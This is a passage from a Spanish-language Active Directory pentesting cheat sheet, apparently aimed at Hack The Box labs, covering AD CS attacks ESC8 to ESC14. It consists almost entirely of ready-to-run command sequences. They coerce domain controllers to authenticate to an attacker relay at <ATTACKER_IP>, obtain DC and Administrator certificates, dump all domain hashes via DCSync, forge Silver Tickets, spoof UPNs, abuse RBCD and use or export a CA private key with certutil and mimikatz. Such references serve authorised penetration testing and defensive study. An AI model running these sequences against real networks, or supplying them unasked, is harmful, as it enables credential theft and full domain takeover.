coercer coerce -l <ATTACKER_IP> -t <DC_IP> -u 'user@domain.htb' -p 'Pass' -d domain.htb -vTerminal 2: forzar autenticación NTLM del DC hacia el relay con Coercer — prueba múltiples métodos automáticamente
nxc smb <DC_IP> -u user -p 'Pass' -k -M coerce_plus -o LISTENER=<ATTACKER_IP> METHOD=PetitPotam/Printerbug/etcAlternativa de coerción con NetExec — especificar método concreto (PetitPotam, PrinterBug, DFSCoerce, etc.) y listener
certipy auth -pfx dc.pfx -dc-ip 10.10.10.10Autenticar con el PFX del DC → hash NTLM de la cuenta de máquina + TGT
impacket-secretsdump 'DC$@domain.htb' -hashes :<NTLM_HASH> -dc-ip 10.10.10.10DCSync con el hash NTLM del DC → dump de todos los hashes del dominio (requiere permisos DA)
impacket-ticketer -nthash <nt_hash> -domain-sid <SID> -domain domain.htb -spn <SPN> AdministratorAlternativa: Silver Ticket con el hash NTLM de la cuenta de máquina del DC
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass target.domain.htb
Pass-the-Ticket con el Silver Ticket generado

ntlmrelayx.py — Alternativa a certipy relay ↗ Impacket
ComandoDescripción
sudo ntlmrelayx.py -t http://<CA_IP>/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController'Si la autenticación forzada procede de un controlador de dominio (ej. CA-DC), se debe utilizar en su lugar la plantilla DomainController.Relay NTLM clásico con ntlmrelayx — captura SMB entrante y lo redirige a la CA web. Alternativa cuando certipy relay falla
sudo ntlmrelayx.py -t http://<CA_IP>/certsrv/certfnsh.asp -smb2support --adcs --template 'User' --no-http-serverVariante para usuarios — deshabilitar el servidor HTTP del relay con --no-http-server si hay conflicto de puertos

RemoteKrbRelay — Alternativa con MAQ > 0 ↗ RemoteKrbRelay
ComandoDescripción
nxc ldap <DC_IP> -u user -p 'Pass' -k -M maqVerificar MAQ (MachineAccountQuota) — si es > 0 se puede crear una cuenta de máquina para el relay
RemoteKrbRelay.exe -adcs -template DomainController -victim <DC_FQDN> -target <DC_FQDN> -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3Automatiza coerción + relay Kerberos → devuelve el certificado PKC12 en Base64. Útil cuando NTLM relay no funciona por signing/EPA
echo -ne "<BASE64_CERT>" | base64 -d > cert.p12Decodificar el certificado Base64 devuelto por RemoteKrbRelay
certipy auth -pfx cert.p12 -dc-ip <DC_IP> -domain domain.htbAutenticar con el certificado obtenido → hash NTLM + TGT

DNS Record + SPN Serializado (CredMarshalTargetInfo) — Kerberos Relay ↗ Synacktiv Research
ComandoDescripción
nxc smb <DC_IP> -u user -p 'Pass' -k -M coerce_plusVerificar métodos de coerción disponibles antes de elegir el vector de ataque
bloodyAD -u user -p 'Pass' -d domain.htb -k --host <DC_FQDN> add dnsRecord <DC_NAME>1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA <ATTACKER_IP>Registrar DNS malicioso con SPN serializado (CredMarshalTargetInfo) — el blob Base64 (1UWhRC...) fuerza al DC a generar un AP_REQ Kerberos para sí mismo pero enviarlo a la IP del atacante. El blob de 44 chars es la estructura mínima con PackageName=Kerberos y Flags=1
dnstool.py -u 'domain.htb\\user' -p 'Pass' -r '<DC_NAME>1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' -d <ATTACKER_IP> --action add <DC_FQDN> --tcpAlternativa con dnstool.py (krbrelayx toolkit) para registrar el DNS malicioso
sudo certipy relay -target https://<DC_FQDN>/certsrv/certfnsh.asp -template DomainControllerTerminal 1: iniciar relay certipy apuntando a HTTPS — cuando llega el AP_REQ Kerberos del DC lo redirige a la CA
nxc smb <DC_FQDN> -u user -p 'Pass' -k -M coerce_plus -o LISTENER=<DC_NAME>1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotamTerminal 2: coercionar al DC hacia el registro DNS malicioso — Windows resuelve el nombre, decodifica la estructura marshaled, genera AP_REQ para DC$ y lo manda a nuestra IP
bloodyAD -u user -p 'Pass' -d domain.htb -k --host <DC_FQDN> remove dnsRecord <DC_NAME>1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAACleanup: eliminar el registro DNS malicioso tras el ataque
certipy auth -pfx dc.pfx -dc-ip <DC_IP> -domain domain.htbAutenticar con el PFX del DC obtenido → hash NTLM + TGT
ESC9 CT_FLAG_NO_SECURITY_EXTENSION — UPN Pivot via GenericWrite
La plantilla tiene el flag CT_FLAG_NO_SECURITY_EXTENSION (0x80000) en msPKI-Enrollment-Flag, lo que impide que la CA incruste la extensión szOID_NTDS_CA_SECURITY_EXT (SID del usuario) en el certificado emitido. Sin esa extensión, el DC mapea la cuenta autenticada por UPN en lugar de por SID.

Combinado con GenericWrite/GenericAll sobre una cuenta víctima (cuenta A), el atacante modifica temporalmente su userPrincipalName para que coincida con el Administrator (cuenta B), solicita el certificado como cuenta A — que ahora lleva el UPN del Administrator — y autentica como cuenta B sin conocer su contraseña.

Campo abusado: msPKI-Enrollment-FlagCT_FLAG_NO_SECURITY_EXTENSION + mapeo por UPN del DC
RequisitosCT_FLAG_NO_SECURITY_EXTENSION en la plantilla + Client Authentication EKU + GenericWrite / GenericAll / WriteUPN sobre cuenta A + StrongCertificateBindingEnforcement ≠ 2 + CertificateMappingMethods incluye UPN flag (0x4) = UPN pivot + Shadow Credentials

Enumeración — Detectar ESC9
ComandoDescripción
certipy find -u user@domain.htb -p 'Pass' -dc-ip 10.10.10.10 -vulnerable -stdoutDetectar ESC9 — buscar Enrollment Flag: NoSecurityExtension + Client Authentication: True en la plantilla
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\KdcVerificar StrongCertificateBindingEnforcement — si el valor es 2 el ataque no funciona. Valor 0 o 1 (default) → explotable
reg query HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel\Verificar CertificateMappingMethods — buscar el flag UPN (0x4) que habilita el mapeo por UPN
dacledit.py -action read -dc-ip 10.10.10.10 domain.htb/attacker:Pass -principal attacker -target victimVerificar permisos sobre la cuenta víctima — confirmar GenericWrite o GenericAll antes de proceder
Get-DomainObjectAcl -LDAPFilter "(&(objectClass=user)(objectCategory=person))" -ResolveGUIDs | ? {($_.ActiveDirectoryRights -contains "GenericAll" -or $_.ActiveDirectoryRights -contains "GenericWrite") -and $_.SecurityIdentifier -eq $attacker.objectsid}PowerView: buscar ACEs GenericAll o GenericWrite sobre usuarios — identifica cuentas víctima explotables para ESC9
Certify_v1.exe find /vulnerable
Certify_v2.exe enum-templates --filter-vulnerable
Detectar ESC9 desde Windows — buscar NoSecurityExtension en los flags de la plantilla

Certipy — Flujo completo (Linux) ↗ Certipy Wiki ESC9
ComandoDescripción
certipy shadow auto -u 'attacker@domain.htb' -p 'Pass' -account victimObtener hash NTLM de la cuenta víctima vía Shadow Credentials — requiere GenericWrite sobre victim. Si ya se tienen credenciales de victim, omitir este paso
certipy account update -u 'attacker@domain.htb' -p 'Pass' -user victim -upn AdministratorModificar el UPN de victim → Administrator (sin @dominio). Esto no viola restricciones porque Administrator@domain.htb sigue siendo el UPN real del Admin
certipy req -u 'victim@domain.htb' -hashes <NTLM_HASH> -dc-ip 10.10.10.10 -ca <CA_NAME> -template <TMPL_ESC9>Solicitar certificado como victim — el cert llevará UPN = Administrator y sin Object SID (confirmar en el output: "[+] Certificate has no object SID")
certipy account update -u 'attacker@domain.htb' -p 'Pass' -user victim -upn victim@domain.htbRestaurar UPN de victim a su valor original — imprescindible para que el DC no encuentre dos cuentas con el mismo UPN al autenticar
certipy auth -pfx administrator.pfx -domain domain.htb -dc-ip 10.10.10.10Autenticar con el certificado del Administrator — incluir -domain obligatoriamente porque el cert no tiene dominio especificado → hash NTLM + TGT
Certify + Rubeus + PowerView — Flujo completo (Windows) ↗ Certify
ComandoDescripción
xfreerdp /u:victim /p:'NewPass123!' /d:domain.htb /v:10.10.10.10 /dynamic-resolutionObtener sesión como victim via RDP — Certify no permite pasar credenciales, necesita sesión activa del usuario
Set-DomainUserPassword -Identity victim -AccountPassword $((ConvertTo-SecureString 'Password123!' -AsPlainText -Force))Resetear contraseña de victim (si no se tienen sus credenciales) — requiere GenericWrite o ForceChangePassword sobre victim
Set-DomainObject victim -Set @{'userPrincipalName'='Administrator@domain.htb'} -VerboseModificar UPN de victim apuntando al Administrator vía PowerView
.\Certify_v1.exe request /ca:<CA_NAME> /template:<TMPL_ESC9> /altname:Administrator
.\Certify_v2.exe request --ca <CA_NAME> --template <TMPL_ESC9> --upn Administrator@domain.htb
Solicitar certificado con SAN = Administrator desde la sesión de victim
openssl pkcs12 -in administrator.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out administrator.pfxConvertir el certificado PEM devuelto por Certify a PFX — necesario para Rubeus
Set-DomainObject victim -Set @{'userPrincipalName'='victim@domain.htb'} -VerboseRestaurar UPN de victim a su valor original
.\Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /getcredentials /nowrapObtener TGT + hash NTLM del Administrator con el PFX generado
bloodyAD — Variante sin Shadow Credentials ↗ bloodyAD
ComandoDescripción
bloodyAD --host dc01.domain.htb -d domain.htb -u 'attacker' -p 'Pass' set object victim userPrincipalName -v 'Administrator'Modificar UPN de victim directamente con bloodyAD — alternativa a certipy account update cuando ya se tienen credenciales de victim y no hace falta Shadow Credentials
certipy req -u 'victim@domain.htb' -p 'Pass' -dc-ip 10.10.10.10 -dc-host DC.HTB.LOCAL -target WS01/DC01.HTB.LOCAL -ca <CA_NAME> -template <TMPL_ESC9> Solicitar certificado como victim con credenciales en claro (si se tienen)
bloodyAD --host dc01.domain.htb -d domain.htb -u 'attacker' -p 'Pass' set object victim userPrincipalName -v 'victim@domain.htb'Restaurar UPN de victim
certipy auth -pfx administrator.pfx -domain domain.htb -dc-ip 10.10.10.10Autenticar como Administrator → hash NTLM + TGT
ESC10 Weak Certificate Mapping — UPN Pivot via GenericWrite
ESC10 abusa de una configuración débil de mapeo de certificados en el DC. Existen dos variantes según qué clave de registro esté mal configurada:

Case 1: StrongCertificateBindingEnforcement = 0 bajo HKLM\SYSTEM\CurrentControlSet\Services\Kdc. El DC no exige mapeo fuerte por SID, por lo que autentica por UPN. Flujo idéntico a ESC9 — cualquier plantilla con Client Authentication sirve.

Case 2: CertificateMappingMethods incluye el bit UPN (0x4) bajo HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel. El servidor usa mapeo UPN en Schannel (LDAPS). Permite comprometer cuentas sin UPN (máquinas, Administrator built-in) y escalar vía RBCD.

En ambos casos se requiere GenericWrite/GenericAll sobre una cuenta víctima para modificar su userPrincipalName temporalmente.

🛈 Nota: Certipy no detecta ESC10 automáticamente — hay que enumerar las claves de registro manualmente.
↗ ESC9 Vs ESC10 : A pesar de que ambos permiten suplantación de UPN (UPN Spoofing), la vulnerabilidad raíz es diferente
- ESC9 Vulnerabilidad raíz reside en la configuración de la CA (plantilla no tiene OID SID en la extensión de seguridad) corregido en parche KB5014754 (Mayo 2022)
- ESC10 Vulnerabilidad raíz en la configuración del DC (registro no exige mapeo fuerte por SID) corregido con el mismo parche KB5014754 + StrongCertificateBindingEnforcement = 2
RequisitosGenericWrite / GenericAll sobre cuenta víctima + Client Authentication EKU en la plantilla + StrongCertificateBindingEnforcement = 0 (Case 1) + CertificateMappingMethods incluye 0x4 (Case 2) + Cuenta destino sin UPN o con UPN modificable = UPN pivot + Shadow Credentials + RBCD (Case 2)

Enumeración — Detectar ESC10 manualmente
ComandoDescripción
python3 reg.py domain.htb/'Administrator':'Pass'@10.10.10.10 query -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\Kdc'Case 1: verificar StrongCertificateBindingEnforcement. Valor 0x0 → completamente vulnerable. Valor 0x1 → parcialmente (Case 2). Valor 0x2 → estricto, no explotable
python3 reg.py domain.htb/'Administrator':'Pass'@10.10.10.10 query -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL'Case 2: verificar CertificateMappingMethods. Buscar que el bit 0x4 esté activo y el bit 0x10 ausente. Valores vulnerables: 0x4, 0xC, 0x1C, 0x1F
reg query HKLM\SYSTEM\CurrentControlSet\Services\Kdc reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SchannelMismas consultas desde Windows (reg query) — requiere sesión en el DC o derechos de lectura del registro remoto
dacledit.py -action read -dc-ip 10.10.10.10 domain.htb/attacker:Pass -principal attacker -target victimVerificar GenericWrite o GenericAll sobre la cuenta víctima antes de proceder
Get-DomainObjectAcl -LDAPFilter "(&(objectClass=user)(objectCategory=person))" -ResolveGUIDs | ? {($_.ActiveDirectoryRights -match "GenericAll|GenericWrite") -and $_.SecurityIdentifier -eq $attacker.objectsid}PowerView: buscar ACEs GenericWrite/GenericAll sobre usuarios — identifica cuentas víctima explotables
certipy account -user victim read -target DC01.domain.htb -u attacker@domain.htb -p PassLeer el UPN actual de la víctima antes de modificarlo — imprescindible para restaurarlo correctamente. Requiere Certipy v5+

Caso 1 (Linux) — Certipy — Flujo completo StrongCertificateBindingEnforcement = 0 ↗ Certipy Wiki ESC10
ComandoDescripción
certipy shadow auto -u 'attacker@domain.htb' -p 'Pass' -account victimObtener hash NTLM de victim vía Shadow Credentials — requiere GenericWrite. Omitir si ya se tienen credenciales de victim
certipy account update -u 'attacker@domain.htb' -p 'Pass' -user victim -upn AdministratorModificar UPN de victim → Administrator (sin @dominio, para evitar violación de restricción de unicidad). El UPN real de Admin sigue siendo Administrator@domain.htb
certipy req -u 'victim@domain.htb' -hashes <NTLM_HASH> -dc-ip 10.10.10.10 -ca <CA_NAME> -template UserSolicitar certificado como victim usando cualquier plantilla con Client Authentication (ej. User built-in). El cert llevará UPN = Administrator
certipy account update -u 'attacker@domain.htb' -p 'Pass' -user victim -upn victim@domain.htbRestaurar UPN de victim — imprescindible para que el DC resuelva correctamente el UPN del cert al autenticar
certipy auth -pfx administrator.pfx -domain domain.htb -dc-ip 10.10.10.10Autenticar como Administrator → hash NTLM + TGT. Incluir -domain obligatoriamente (el cert no lleva dominio especificado)
Caso 1 (Windows) — Certify + Rubeus + PowerView ↗ Certify
ComandoDescripción
Set-DomainUserPassword -Identity victim -AccountPassword $((ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force))Resetear contraseña de victim si no se tienen sus credenciales — requiere GenericWrite o ForceChangePassword
Set-DomainObject victim -Set @{'userPrincipalName'='Administrator'} -VerboseModificar UPN de victim → Administrator (sin dominio) vía PowerView
xfreerdp /u:victim /p:'NewPass123!' /d:domain.htb /v:10.10.10.10 /dynamic-resolutionObtener sesión RDP como victim — Certify requiere sesión activa del usuario para solicitar certificados
.\Certify_v1.exe request /ca:<CA_NAME> /template:User /altname:Administrator
.\Certify_v2.exe request --ca <CA_NAME> --template User --upn Administrator@domain.htb
Solicitar certificado con SAN = Administrator desde sesión de victim. v1: flag /altname. v2: flag --upn
openssl pkcs12 -in administrator.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out administrator.pfxConvertir el PEM devuelto por Certify a PFX — necesario para Rubeus
Set-DomainObject victim -Set @{'userPrincipalName'='victim@domain.htb'} -VerboseRestaurar UPN de victim a su valor original
.\Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /getcredentials /nowrapObtener TGT + hash NTLM del Administrator con el PFX generado


Caso 2 (Linux) — Certipy Flujo completo CertificateMappingMethods incluye 0x4 ↗ Certipy Wiki ESC10
ComandoDescripción
certipy shadow auto -u 'attacker@domain.htb' -p 'Pass' -account victimObtener hash NTLM de victim vía Shadow Credentials
certipy account update -u 'attacker@domain.htb' -p 'Pass' -user victim -upn 'DC01$@domain.htb'Modificar UPN de victim para que coincida con la cuenta de máquina del DC. Las cuentas de máquina no tienen UPN por defecto y no están protegidas por AdminSDHolder. Administrator suele estar bloqueado por AdminSDHolder + Deny ACEs
certipy req -u 'victim@domain.htb' -hashes <NTLM_HASH> -dc-ip 10.10.10.10 -ca <CA_NAME> -template UserSolicitar certificado como victim — el cert llevará UPN = DC01$@domain.htb. Confirmar en el output: "Got certificate with UPN 'DC01$@domain.htb'"
certipy account update -u 'attacker@domain.htb' -p 'Pass' -user victim -upn victim@domain.htbRestaurar UPN de victim antes de autenticar — si sigue teniendo el UPN del DC el cert se resolvería a victim
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10 -ldap-shellAutenticar como DC01$ vía Schannel → shell LDAP. Verificar: "Authenticated as: u:DOMAIN\DC01$"
# add_computer newcomp newpass123
# set_rbcd DC01$ newcomp$
Dentro del ldap-shell interactivo crear cuenta de máquina y otorgarle delegación RBCD sobre el DC. Las cuentas de máquina pueden modificar su propio atributo msDS-AllowedToActOnBehalfOfOtherIdentity
impacket-getST -spn 'cifs/DC01.domain.htb' -impersonate Administrator -dc-ip 10.10.10.10 domain.htb/'newcomp$':newpass123Abusar RBCD para impersonar Administrator — obtener ticket de servicio CIFS para el DC
KRB5CCNAME=Administrator.ccache impacket-wmiexec -k -no-pass DC01.domain.htbConectar al DC usando el TGS de Administrator → acceso como SYSTEM
Caso 2 (Windows) — Certify + Rubeus + PowerView ↗ Certify
ComandoDescripción
Set-DomainObject victim -Set @{'userPrincipalName'='DC01$@domain.htb'} -VerboseModificar UPN de victim para que coincida con la cuenta de máquina del DC vía PowerView
xfreerdp /u:victim /p:'Pass' /d:domain.htb /v:10.10.10.10Sesión RDP como victim para usar Certify
.\Certify_v1.exe request /ca:<CA_NAME> /template:User
.\Certify_v2.exe request --ca <CA_NAME> --template User
Solicitar certificado como victim — el cert llevará el UPN de DC01$
openssl pkcs12 -in dc01.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out dc01.pfxConvertir a PFX
Set-DomainObject victim -Set @{'userPrincipalName'='victim@domain.htb'} -VerboseRestaurar UPN de victim
.\Rubeus.exe asktgt /user:'DC01$' /certificate:dc01.pfx /getcredentials /nowrapObtener TGT como DC01$ — continuar con getST + RBCD para impersonar Administrator
bloodyAD — Variante sin Shadow Credentials ↗ bloodyAD
ComandoDescripción
bloodyAD --host dc01.domain.htb -d domain.htb -u 'attacker' -p 'Pass' set object victim userPrincipalName -v 'Administrator'Case 1: modificar UPN de victim → Administrator directamente con bloodyAD — alternativa a certipy account update cuando ya se tienen credenciales de victim
bloodyAD --host dc01.domain.htb -d domain.htb -u 'attacker' -p 'Pass' set object victim userPrincipalName -v 'DC01$@domain.htb'Case 2: modificar UPN de victim → cuenta de máquina del DC
certipy req -u 'victim@domain.htb' -p 'Pass' -dc-ip 10.10.10.10 -ca <CA_NAME> -template UserSolicitar certificado como victim con credenciales en claro (si se tienen). Si no, usar -hashes con el NTLM obtenido vía Shadow Credentials
bloodyAD --host dc01.domain.htb -d domain.htb -u 'attacker' -p 'Pass' set object victim userPrincipalName -v 'victim@domain.htb'Restaurar UPN de victim
certipy auth -pfx administrator.pfx -domain domain.htb -dc-ip 10.10.10.10Case 1: autenticar como Administrator → hash NTLM + TGT
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10 -ldap-shellCase 2: shell LDAP como DC01$ → RBCD vía set_rbcd + getST para impersonar Administrator
ESC11 NTLM Relay hacia ICPR (RPC) — Interfaz no HTTP
Vulnerabilidad en AD CS donde la CA no requiere cifrado en solicitudes ICPR (RPC)(IF_ENFORCEENCRYPTICERTREQUEST = Disabled). Esto permite realizar NTLM Relay hacia RPC (MS-ICPR) y solicitar certificados en nombre de la víctima (ej: Domain Controller) sin necesidad de Web Enrollment (HTTP). . Similar a ESC8 pero hace relay a través de RPC/ICPR en lugar de la interfaz Web Enrollment HTTP. La CA acepta solicitudes de certificado vía RPC (MS-ICPR) sin signing requerido.
RequisitosIF_ENFORCEENCRYPTICERTREQUEST = Disabled + Template DomainController disponible + RPC port 135/445
Detección automática (Certipy) ↗ Certipy
ComandoDescripción
certipy-ad find -u 'user@domain.htb' -p 'pass' -dc-ip 10.10.10.10 -stdoutEnumerar CA — buscar Enforce Encryption for Requests : Disabled + Vulnerabilities: ESC11
certipy-ad find -u 'user@domain.htb' -p 'pass' -dc-ip 10.10.10.10 -vulnerable -stdoutFiltrar solo CAs vulnerables a ESC11
Certipy relay + PetitPotam ↗ PetitPotam
ComandoDescripción
certipy-ad relay -target 'rpc://<CA_IP or DOMAIN>' -ca <CA_NAME> -template DomainControllerTerminal 1: configurar el relay hacia el endpoint RPC/ICPR de la CA — espera autenticación
PetitPotam.py -u 'user' -p 'pass' -d 'domain' <ATTACKER_IP> <DC_IP>Terminal 2: coerción del DC para que autentique contra el relay — se obtiene el certificado del DC
certipy-ad auth -pfx dc.pfx -dc-ip 10.10.10.10Tras obtener el certificado, autenticar como DC → DCSync / Silver Ticket
ntlmrelayx.py (ICPR fork) ↗ sploutchy/impacket
ComandoDescripción
ntlmrelayx.py -t rpc://<CA_IP> -rpc-mode ICPR -icpr-ca-name <CA_NAME> -smb2supportConfigurar relay RPC hacia ICPR — compatible con coerción vía PetitPotam o PrinterBug
PetitPotam.py -u user -p pass -d domain <ATTACKER_IP> <DC_IP>Coerción del DC para que autentique contra ntlmrelayx
Certify + Rubeus + PetitPotam (Windows) ↗ Certify
ComandoDescripción
Certify_v1.exe find /vulnerable /stdout
Certify_v2.exe enum-templates --filter-vulnerable --out-file
Enumerar CAs vulnerables a ESC11 desde Windows
certipy-ad relay -target 'rpc://<CA_IP>' -ca <CA_NAME> -template DomainControllerRelay desde WSL/Linux — Certify no tiene relay nativo
PetitPotam.exe -u user -p pass -d domain <ATTACKER_IP> <DC_IP>Coerción del DC con PetitPotam.exe nativo de Windows
Rubeus.exe asktgt /user:'DC01$' /certificate:dc.pfx /getcredentialsObtener TGT como DC01$ desde el certificado generado
ESC12 YubiHSM Key Storage Provider — Filtración de clave privada de CA
Vulnerabilidad en AD CS cuando la CA está configurada para almacenar su clave privada en un dispositivo USB externo (ej: YubiHSM2). La contraseña de autenticación del Key Storage Provider se guarda en texto plano en el registro bajo HKLM\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword. Un atacante con acceso shell (incluso bajos privilegios) al servidor CA puede leer esta contraseña y forjar certificados arbitrarios firmados por la CA, permitiendo suplantar cualquier usuario o máquina del dominio.
RequisitosAcceso shell al servidor CA + CA con clave privada en YubiHSM (u HSM externo) + Contraseña en texto plano en registro
Detección manual (Windows) ↗ reg query
ComandoDescripción
reg query HKLM\SOFTWARE\Yubico\YubiHSM /v AuthKeysetPasswordVerificar si existe la clave de autenticación en texto plano
reg query HKLM\SOFTWARE\Yubico\YubiHSM /sEnumerar toda la configuración de YubiHSM
certutil -csp "YubiHSM Key Storage Provider" -key -userListar claves privadas disponibles en el almacén del usuario
certutil -store -user myListar certificados en el almacén personal del usuario
Asociar / Solicitar / Forjar certificado (Windows) ↗ Certify
ComandoDescripción
certipy-ad req -target $ADCS_HOST -dc-ip $DC_IP -u "$USER@$DOMAIN" -p '$PASSWORD' -template User -ca <CA_NAME>Solicitar certificado de plantilla User (obtenemos user_esc12.pfx)
certipy-ad cert -pfx user_esc12.pfx -nokey -out user_esc12.crtExtraer certificado público (sin clave privada)
certipy-ad cert -pfx user_esc12.pfx -nocert -out user_esc12.keyExtraer clave privada del certificado (en formato PEM)
certutil -addstore -user my "ca_certificate.cer"Opcional:Importar el certificado público de la CA al almacén personal del usuario
certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my "CA Common Name"Asociar el certificado importado con la clave privada en el dispositivo YubiHSM
certutil -sign /?Ver opciones de -sign para firmar un CSR (Certificate Signing Request) con la clave de CA
#extension.inf (archivo de configuración)
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "UPN=Administrator@domain.htb&"
Archivo .inf para añadir SAN (UPN del Administrador)
certutil -sign ./user_esc12.crt new.crt @extension.infFirmar el certificado con la clave de CA → se genera new.crt con el SAN del Administrador
openssl req -new -newkey rsa:2048 -keyout attacker.key -out attacker.csr -nodesGenerar un CSR (desde Linux) con el SAN del usuario objetivo (ej: Administrator)
certutil -csp "YubiHSM Key Storage Provider" -sign attacker.csr forged.cerFirmar el CSR con la clave de CA — obtener certificado forjado
certipy-ad auth -pfx forged.pfx -dc-ip 10.10.10.10 -ldap-shellAutenticar con el certificado forjado para obtener DCSync / control del dominio
Extracción alternativa (mimikatz) ↗ mimikatz
ComandoDescripción
mimikatz# crypto::cng /key /name:"YubiHSM Key Storage Provider"Listar claves CNG disponibles del proveedor YubiHSM
mimikatz# crypto::cng /export /key:"KEY_GUID" /out:"c:\temp\ca_key.bin"Exportar la clave privada (si es exportable)
mimikatz# crypto::cng /sign /key:"KEY_GUID" /in:"attacker.csr" /out:"signed.bin"Firmar directamente usando la clave sin exportar
ESC13 OID Group Link Abuse — Política de emisión vinculada a grupo privilegiado
Vulnerabilidad en AD CS cuando una plantilla de certificado tiene una política de emisión (msPKI-Certificate-Policy) vinculada a un grupo mediante msDS-OIDToGroupLink. Cuando un usuario solicita un certificado de esa plantilla y el certificado permite Client Authentication, el sistema autoriza al usuario como si fuera miembro del grupo vinculado. El grupo debe ser vacío y tener ámbito Universal (Forest Wide). Los grupos por defecto que cumplen son: Enterprise Admins, Schema Admins, Enterprise Key Admins y Enterprise Read-only Domain Controllers.
RequisitosTemplate con msPKI-Certificate-Policy no vacía + msDS-OIDToGroupLink apunta a grupo privilegiado (Universal + vacío) + El atacante tiene Enrollment Rights sobre el template + Template permite Client Authentication EKU

Enumeración (Linux/Windows) ↗ Check-ADCSESC13.ps1
ComandoDescripción
. .\Check-ADCSESC13.ps1Detecta OIDs con msDS-OIDToGroupLink y templates vulnerables
PS > Get-ADObject "CN=,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Properties msPKI-Certificate-PolicyVerificar política de emisión de un template concreto
PS >Get-ADObject "CN=,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Properties DisplayName,msPKI-Cert-Template-OID,msDS-OIDToGroupLinkVerificar a qué grupo apunta el OID
certipy-ad find -u 'user@domain.htb' -p 'pass' -dc-ip 10.10.10.10 -stdout -vulnerableDetecta ESC13 cuando un template permite enrollment, tiene Client Authentication EKU y la política de emisión apunta a un grupo

Certipy / Certify
ComandoDescripción
certipy-ad req -u 'user@domain.htb' -p 'pass' -dc-ip 10.10.10.10 -target 'CA_HOST' -ca 'CA_NAME' -template 'VulnerableTemplate' -key-size 4096Solicitar certificado del template vulnerable → se obtiene user.pfx
certipy-ad auth -pfx user.pfx -domain domain.htb -dc-ip 10.10.10.10Autenticar con el certificado — el usuario hereda los privilegios del grupo vinculado
.\Certify.exe request /ca:domain\CA_NAME /template:"VulnerableTemplate"Solicitar certificado del template vulnerable (devuelve PEM -> pasa a PFX con openssl):openssl pkcs12 -export -out esc13.pfx -in esc13.pem
.\Rubeus.exe asktgt /user:usuario /certificate:esc13.pfx /nowrapAutenticar con el certificado — el usuario hereda los privilegios del grupo vinculado
ESC14 Certificate Mapping Abuse — altSecurityIdentities
Vulnerabilidad en AD CS cuando el mapeo explícito de certificados está mal configurado. Existen cuatro escenarios que permiten a un atacante con una cuenta víctima (con capacidad de solicitar certificados) suplantar a una cuenta objetivo aprovechando atributos modificables (altSecurityIdentities, mail, cn, dNSHostName). Los escenarios son:
  • A: El atacante tiene escritura en altSecurityIdentities del objetivo — añade mapeo X509IssuerSerialNumber apuntando a certificado de la víctima.
  • B: El objetivo tiene un mapeo X509RFC822 débil — el atacante modifica el mail de la víctima para que coincida y solicita certificado con email en SAN.
  • C: El objetivo tiene un mapeo X509IssuerSubject débil — el atacante modifica el cn (usuario) o dNSHostName (máquina) de la víctima para que coincida con el subject.
  • D: El objetivo tiene un mapeo X509SubjectOnly débil — el atacante modifica cn o dNSHostName de la víctima para que coincida con el subject.
RequisitosPermiso de enroll en plantilla válida + Control sobre objeto víctima (WriteProperty / GenericWrite) + Plantilla con Client Authentication
Enumeración ESC14 (Windows) ↗ PowerView / AD Module
ComandoDescripción
Get-ACL "AD:\CN=TARGET,CN=Users,DC=domain,DC=local" Buscar WriteProperty sobre altSecurityIdentities (ESC14A)
Get-ObjectAcl -Identity TARGET -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "WriteProperty"} Identificar ACEs que permitan modificar mapping (ESC14A)
Get-ADUser victim -Properties mail | Select mail Comprobar atributo mail (ESC14B - X509RFC822)
Get-ADUser target -Properties altSecurityIdentities Verificar si existe mapping RFC822 en el objetivo
Get-ADUser victim -Properties cn,name Comprobar CN del usuario (ESC14C)
Get-ADComputer victim -Properties dNSHostName Comprobar hostname de máquina (ESC14C/D)
Get-ADComputer target -Properties altSecurityIdentities Detectar mapping X509SubjectOnly (ESC14D)
Enumeración ESC14 (Linux / bloodyAD) ↗ bloodyAD
ComandoDescripción
bloodyAD -u user@domain -p pass -d domain.local get object TARGET --attr altSecurityIdentities Identificar si el objetivo tiene mapeos explícitos (ESC14A)
bloodyAD -u user@domain -p pass -d domain.local get acl TARGET Buscar permisos WriteProperty sobre altSecurityIdentities
bloodyAD get object victim --attr mail Comprobar mail para X509RFC822 (ESC14B)
bloodyAD get object victim --attr cn Verificar CN del usuario (ESC14C)
bloodyAD get object victim --attr dNSHostName Verificar hostname de máquina (ESC14C/D)
bloodyAD get object target --attr altSecurityIdentities Detectar mapping X509SubjectOnly (ESC14D)
ESC14 A — altSecurityIdentities Write
ComandoDescripción
certipy-ad req -u victim@domain -p pass -ca CA_NAME -template TEMPLATE Obtener certificado de la víctima
openssl x509 -in victim.crt -noout -text Extraer Issuer y Serial Number
X509:<I>ISSUER_DN<SR>SERIAL Formato para altSecurityIdentities (IssuerSerialNumber)
ldapmodify -x -D "DOMAIN\user" -W Insertar mapping en altSecurityIdentities del objetivo
